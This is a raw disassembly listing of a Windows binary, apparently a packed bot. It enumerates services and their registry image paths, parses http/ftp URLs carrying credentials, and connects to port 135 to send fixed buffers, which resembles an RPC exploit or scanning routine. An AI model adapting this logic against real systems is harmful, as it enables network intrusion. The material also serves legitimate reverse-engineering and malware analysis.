		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_4206EF
		pop	ebp
		pop	ebx


loc_420791:				; CODE XREF: sub_4205E0+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4207AA:				; CODE XREF: sub_4205E0+46j
					; sub_4205E0+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_4205E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420850	proc near		; CODE XREF: sub_401866j
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_420850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420870	proc near		; CODE XREF: sub_401A6Ej
		jmp	sub_401226
sub_420870	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420890	proc near		; CODE XREF: sub_402144j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_420890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 2990BE0h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_4208DF
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_4208DF:				; CODE XREF: sub_420890+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_4442FC
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_4442E4
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_401424
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_50F710
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420C3F
		mov	ebp, dword_50F75C


loc_420B1B:				; CODE XREF: sub_420890+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420B47
		lea	esi, [esp+524h+var_4E0]


loc_420B28:				; CODE XREF: sub_420890+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	loc_420C23
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420B28


loc_420B47:				; CODE XREF: sub_420890+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_401681
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420B93
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420BEA
; ---------------------------------------------------------------------------


loc_420B93:				; CODE XREF: sub_420890+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 2970000h
		cmp	eax, ebx
		jz	short loc_420BCD
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420BEA
; ---------------------------------------------------------------------------


loc_420BCD:				; CODE XREF: sub_420890+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420BEA:				; CODE XREF: sub_420890+301j
					; sub_420890+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014C9
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420C23:				; CODE XREF: sub_420890+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420B1B
		mov	ebp, [esp+524h+var_4FC]


loc_420C3F:				; CODE XREF: sub_420890+27Fj
		push	ebp
		call	near ptr 29A0393h
		nop
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_420890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420D80	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 2920000h
		push	eax
		nop
		call	near ptr 29112D4h
		mov	eax, esi
		pop	esi
		retn
sub_420D80	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_401A28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420DE9


loc_420DD2:				; CODE XREF: sub_420DB0+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420DD2
		cmp	ecx, 0
		jz	short loc_420DFA


loc_420DE9:				; CODE XREF: sub_420DB0+20j
					; sub_420DB0+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420DE9


loc_420DFA:				; CODE XREF: sub_420DB0+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420DB0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420E50:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50BB24, eax
		mov	eax, offset dword_50BB24
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420E70:				; CODE XREF: ___:00401771j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_50FAA0
		push	esi
		call	edi	; ftell
		mov	ebp, dword_50FA98
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420EC0	proc near		; CODE XREF: sub_401938j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420EC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420EEF
		xor	al, al
		jmp	loc_4214C9
; ---------------------------------------------------------------------------


loc_420EEF:				; CODE XREF: sub_420EC0+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_401424
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015D7
		push	offset asc_443C54 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420F7F
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420F7F
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_4214C9
; ---------------------------------------------------------------------------


loc_420F7F:				; CODE XREF: sub_420EC0+92j
					; sub_420EC0+A2j
		push	offset asc_4443D0 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D20
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4443D0 ; "/"
		push	1
		jz	loc_4212BC
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016AE
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421079
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_4214C9
; ---------------------------------------------------------------------------


loc_421079:				; CODE XREF: sub_420EC0+19Cj
		push	offset asc_4443D0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016AE
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421145
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42112E
		mov	dword ptr [esi+54h], 50h


loc_42112E:				; CODE XREF: sub_420EC0+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421145
		mov	dword ptr [esi+54h], 15h


loc_421145:				; CODE XREF: sub_420EC0+255j
					; sub_420EC0+27Cj
		push	offset asc_4443D0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016AE
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016AE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4211FE
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_4214C9
; ---------------------------------------------------------------------------


loc_4211FE:				; CODE XREF: sub_420EC0+321j
		push	offset asc_4443D0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016AE
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016AE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh


loc_421267:				; DATA XREF: Themida_:005D81E9o
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4213E3
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_4214C9
; ---------------------------------------------------------------------------


loc_4212BC:				; CODE XREF: sub_420EC0+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016AE
		push	offset asc_443C54 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421343
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_4214C9
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_420EC0+466j
		push	offset asc_4443D0 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset asc_443C54 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_4213E3
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4213CC
		mov	dword ptr [esi+54h], 50h


loc_4213CC:				; CODE XREF: sub_420EC0+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4213E3
		mov	dword ptr [esi+54h], 15h


loc_4213E3:				; CODE XREF: sub_420EC0+3DBj
					; sub_420EC0+4F3j ...
		push	offset asc_4443D0 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013E3
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E2E
		push	offset asc_4443D0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013E3
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4443D0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013E3
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4443D0 ; "/"
		mov	ecx, esi
		call	sub_4015D7
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016BD
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_4214C9:				; CODE XREF: sub_420EC0+2Aj
					; sub_420EC0+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420EC0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421680	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4216AB


loc_421694:				; CODE XREF: sub_421680+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_4216B2
		inc	eax
		cmp	eax, edx
		jl	short loc_421694


loc_4216AB:				; CODE XREF: sub_421680+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4216B2:				; CODE XREF: sub_421680+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_421680	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4216D0:				; CODE XREF: ___:0040209Aj
		mov	eax, 2010h
		call	sub_4368E0
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42171D
		dec	eax
		jz	short loc_4216F7
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4216F7:				; CODE XREF: ___:004216E8j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402004
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42171D:				; CODE XREF: ___:004216E5j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_421879
		cmp	esi, 0FFFFFFFFh
		jz	loc_421879
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_421872
		mov	ebp, dword_50FC8C
		push	0
		push	48h
		push	offset dword_443D98
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_421872
		mov	edi, dword_50FC90
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_421872
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_421872
		push	0
		push	18h
		push	offset dword_443E0C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_421872
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
